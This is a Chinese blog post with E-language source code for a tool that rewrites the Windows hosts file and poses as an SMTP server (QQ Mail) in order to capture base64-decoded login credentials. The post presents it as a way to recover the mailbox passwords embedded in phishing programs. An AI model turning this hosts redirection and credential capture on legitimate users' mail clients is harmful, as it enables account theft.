HOSTS式釣魚攔截源碼
利用HOSTS來攔截SMTP，再次提醒搭建小心釣魚軟件，對于未知的程序盡量在虛擬機里使用
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
|
.版本 2.支持庫 shell.程序集 窗口程序集1.程序集變量 IP, 文本型.程序集變量 host路徑, 文本型.程序集變量 原hosts是否存在, 邏輯型.程序集變量 客戶, 文本型.程序集變量 是否為賬號, 邏輯型.程序集變量 是否為密碼, 邏輯型.程序集變量 賬號, 文本型.程序集變量 密碼, 文本型.子程序 列表框_加入提示.參數 提示, 文本型列表框_狀態.加入項目 (提示, )列表框_狀態.現行選中項 ＝ 列表框_狀態.取項目數 () － 1處理事件 ().子程序 _按鈕_監聽_被單擊IP ＝ “”原hosts是否存在 ＝ 真賬號 ＝ “”密碼 ＝ “”是否為賬號 ＝ 假是否為密碼 ＝ 假連續賦值 (真, 編輯框_服務器端口.禁止, 編輯框_服務器地址.禁止, 單選框1.禁止, 單選框2.禁止)列表框_狀態.清空 ()處理事件 ()列表框_加入提示 (“正在訪問網絡獲取指定郵箱服務器的IP地址...”)IP ＝ 轉換為IP地址 (編輯框_服務器地址.內容).如果真 (IP ＝ “”) 列表框_加入提示 (“查詢IP失敗！請檢查郵箱服務器地址拼寫。”) 返回 ().如果真結束列表框_加入提示 (“查詢結果： 地址[” ＋ 編輯框_服務器地址.內容 ＋ “]對應IP地址[” ＋ IP ＋ “]”)host路徑 ＝ 取特定目錄 (#Windows系統目錄) ＋ “Drivers\etc\hosts”' 備份原hosts文件列表框_加入提示 (“正在備份原hosts文件...”).如果真 (復制文件 (host路徑, “.\hosts.bak”) ＝ 假) 原hosts是否存在 ＝ 假.如果真結束列表框_加入提示 (“正在修改hosts文件...”).如果真 (寫到文件 (host路徑, 到字節集 (“127.0.0.1 ” ＋ 編輯框_服務器地址.內容 ＋ #換行符)) ＝ 假) 列表框_加入提示 (“hosts文件修改失敗！請使用管理員身份運行，并且不要攔截。”) 返回 ().如果真結束服務器1.端口 ＝ 到整數 (編輯框_服務器端口.內容)列表框_加入提示 (“已開始監控...請務必關閉監控后再退出本工具，以便還原hosts”)按鈕_監聽.禁止 ＝ 真按鈕_終止.禁止 ＝ 假.子程序 __啟動窗口_可否被關閉, 邏輯型.如果真 (按鈕_監聽.禁止 ＝ 真) 信息框 (“請先關閉監控在退出軟件！否則無法還原備份的hosts文件！”, 0, ) 返回 (假).如果真結束返回 (真).子程序 _按鈕_終止_被單擊服務器1.端口 ＝ 0列表框_狀態.清空 ()列表框_狀態.加入項目 (“正在還原被修改的hosts文件...”, ).如果 (原hosts是否存在 ＝ 假) .如果真 (刪除文件 (host路徑) ＝ 假) 列表框_狀態.加入項目 (“還原hosts失敗！請不要用殺毒軟件攔截。”, ) 返回 () .如果真結束.否則 .如果真 (寫到文件 (host路徑, 讀入文件 (“.\hosts”)) ＝ 假) 列表框_狀態.加入項目 (“還原hosts失敗！請不要用殺毒軟件攔截。”, ) 返回 () .如果真結束.如果結束列表框_加入提示 (“監控已關閉！”)按鈕_終止.禁止 ＝ 真按鈕_監聽.禁止 ＝ 假連續賦值 (假, 編輯框_服務器端口.禁止, 編輯框_服務器地址.禁止, 單選框1.禁止, 單選框2.禁止).子程序 __啟動窗口_創建完畢服務器1.端口 ＝ 0.子程序 _服務器1_客戶進入客戶 ＝ 服務器1.取回客戶 ()列表框_加入提示 (“客戶進入：” ＋ 客戶).如果真 (單選框2.選中 ＝ 真) 服務器1.發送數據 (客戶, “220 smtp.qq.com Esmtp QQ Mail Server” ＋ #換行符, ) 返回 ().如果真結束客戶1.連接 (IP, 到整數 (編輯框_服務器端口.內容)).子程序 _服務器1_客戶離開客戶 ＝ 服務器1.取回客戶 ()列表框_加入提示 (“客戶離開：” ＋ 客戶)客戶1.斷開連接 ()_按鈕_重置_被單擊 ().子程序 _服務器1_數據到達.局部變量 數據, 字節集.局部變量 不輸出列表, 邏輯型數據 ＝ 服務器1.取回數據 ().如果真 (單選框2.選中 ＝ 真) ' 如果是這樣則當本軟件為虛擬SMTP服務器，返回數據給釣魚軟件騙取密碼 列表框_加入提示 (“發送數據：” ＋ 到文本 (數據)) .如果真 (尋找字節集 (數據, 到字節集 (“HELO”), ) ≠ -1 或 尋找字節集 (數據, 到字節集 (“EHLO”), ) ≠ -1) 服務器1.發送數據 (客戶, “250-smtp.qq.com” ＋ #換行符 ＋ “250-PIPELINING” ＋ #換行符 ＋ “250-SIZE 52428800” ＋ #換行符 ＋ “250-AUTH LOGIN PLAIN” ＋ #換行符 ＋ “250-AUTH=LOGIN” ＋ #換行符 ＋ “250-MAILCOMPRESS” ＋ #換行符 ＋ “250 8BITMIME” ＋ #換行符, ) 列表框_加入提示 (“返回數據：250-smtp.qq.com250-PIPELINING250-SIZE 5242880”) 返回 () .如果真結束 .如果真 (數據 ＝ 到字節集 (“AUTH LOGIN” ＋ #換行符)) 服務器1.發送數據 (客戶, “334 VXNlcm5hbWU6” ＋ #換行符, ) 列表框_加入提示 (“返回數據：334 VXNlcm5hbWU6”) 是否為賬號 ＝ 真 返回 () .如果真結束 .如果真 (是否為賬號 ＝ 真) 服務器1.發送數據 (客戶, “334 UGFzc3dvcmQ6” ＋ #換行符, ) 列表框_加入提示 (“返回數據：334 UGFzc3dvcmQ6”) 賬號 ＝ 到文本 (BASE64解碼 (到文本 (數據))) 列表框_加入提示 (“攔截到賬號：” ＋ 賬號) 是否為賬號 ＝ 假 是否為密碼 ＝ 真 返回 () .如果真結束 .如果真 (是否為密碼 ＝ 真) 服務器1.發送數據 (客戶, “235 Authentication successful” ＋ #換行符, ) 列表框_加入提示 (“返回數據：235 Authentication successful”) 密碼 ＝ 到文本 (BASE64解碼 (到文本 (數據))) 列表框_加入提示 (“攔截到密碼：” ＋ 密碼) 是否為密碼 ＝ 假 返回 () .如果真結束 .如果真 (數據 ＝ 到字節集 (“QUIT” ＋ #換行符)) 服務器1.斷開客戶 (客戶) 返回 () .如果真結束.如果真結束.如果真 (是否為密碼 ＝ 真) ' 說明這次攔截的數據是郵箱密碼 密碼 ＝ 到文本 (BASE64解碼 (到文本 (數據))) 列表框_加入提示 (“攔截到密碼：” ＋ 密碼) 是否為密碼 ＝ 假 不輸出列表 ＝ 真.如果真結束.如果真 (是否為賬號 ＝ 真) 賬號 ＝ 到文本 (BASE64解碼 (到文本 (數據))) 列表框_加入提示 (“攔截到賬號：” ＋ 賬號) 是否為賬號 ＝ 假 是否為密碼 ＝ 真 不輸出列表 ＝ 真.如果真結束.如果真 (不輸出列表 ＝ 假) 列表框_加入提示 (“發送數據：” ＋ 到文本 (數據)).如果真結束.如果真 (數據 ＝ 到字節集 (“AUTH LOGIN” ＋ #換行符)) ' 這意味著攔截到AUTH LOGIN 是否為賬號 ＝ 真.如果真結束客戶1.發送數據 (數據).子程序 BASE64解碼, 字節集.參數 編碼文本, 文本型, 參考.局部變量 文本長度.局部變量 整倍數.局部變量 三字節組, 字節型, , "3".局部變量 四字節組, 字節型, , "4".局部變量 編碼值.局部變量 X.局部變量 n.局部變量 二進制數據, 字節集.局部變量 指針.局部變量 字節數組, 字節型, , "0"編碼文本 ＝ 刪全部空 (編碼文本)編碼文本 ＝ 子文本替換 (編碼文本, #換行符, , , , 真)文本長度 ＝ 取文本長度 (編碼文本)整倍數 ＝ 文本長度 ＼ 4.如果真 (文本長度 ％ 4 ≠ 0) 整倍數 ＝ 整倍數 ＋ 1.如果真結束重定義數組 (字節數組, 假, 整倍數 × 3) ' 開辟緩沖區大小指針 ＝ 1.計次循環首 (整倍數, X) .計次循環首 (4, n) 四字節組 [n] ＝ 取代碼 (編碼文本, (X － 1) × 4 ＋ n) 編碼值 ＝ 尋找文本 (“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”, 字符 (四字節組 [n]), , 假) .如果真 (編碼值 ＝ -1) 跳出循環 () .如果真結束 四字節組 [n] ＝ 編碼值 － 1 .計次循環尾 () 字節數組 [指針] ＝ 位或 (四字節組 [1] × 4, 四字節組 [2] ÷ 16) 字節數組 [指針 ＋ 1] ＝ 位或 (四字節組 [2] × 16, 四字節組 [3] ÷ 4) 字節數組 [指針 ＋ 2] ＝ 位或 (四字節組 [3] × 64, 四字節組 [4]) 指針 ＝ 指針 ＋ 3.計次循環尾 ()二進制數據 ＝ 到字節集 (字節數組).如果真 (n ＜ 5) ' 最后一組4字符是提前退出的,截取字節集 n ＝ 5 － n 二進制數據 ＝ 取字節集左邊 (二進制數據, 取字節集長度 (二進制數據) － n).如果真結束返回 (二進制數據).子程序 _客戶1_連接斷開服務器1.斷開客戶 (客戶)列表框_加入提示 (“客戶被強制離開。”).子程序 _客戶1_數據到達.局部變量 數據, 字節集數據 ＝ 客戶1.取回數據 ()服務器1.發送數據 (客戶, 數據, )列表框_加入提示 (“返回數據：” ＋ 到文本 (數據)).子程序 _按鈕_結果_被單擊.局部變量 輸出文本, 文本型輸出文本 ＝ “賬號:”.如果 (賬號 ＝ “”) 輸出文本 ＝ 輸出文本 ＋ “未攔截到”.否則 輸出文本 ＝ 輸出文本 ＋ 賬號.如果結束輸出文本 ＝ 輸出文本 ＋ #換行符 ＋ “密碼:”.如果 (密碼 ＝ “”) 輸出文本 ＝ 輸出文本 ＋ “未攔截到”.否則 輸出文本 ＝ 輸出文本 ＋ 密碼.如果結束信息框 (輸出文本, 0, ).子程序 _按鈕_重置_被單擊是否為賬號 ＝ 假是否為密碼 ＝ 假列表框_加入提示 (“重置完畢。”) |
運行結果：
總結
以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作具有一定的參考學習價值，謝謝大家對服務器之家的支持。如果你想了解更多相關內容請查看下面相關鏈接
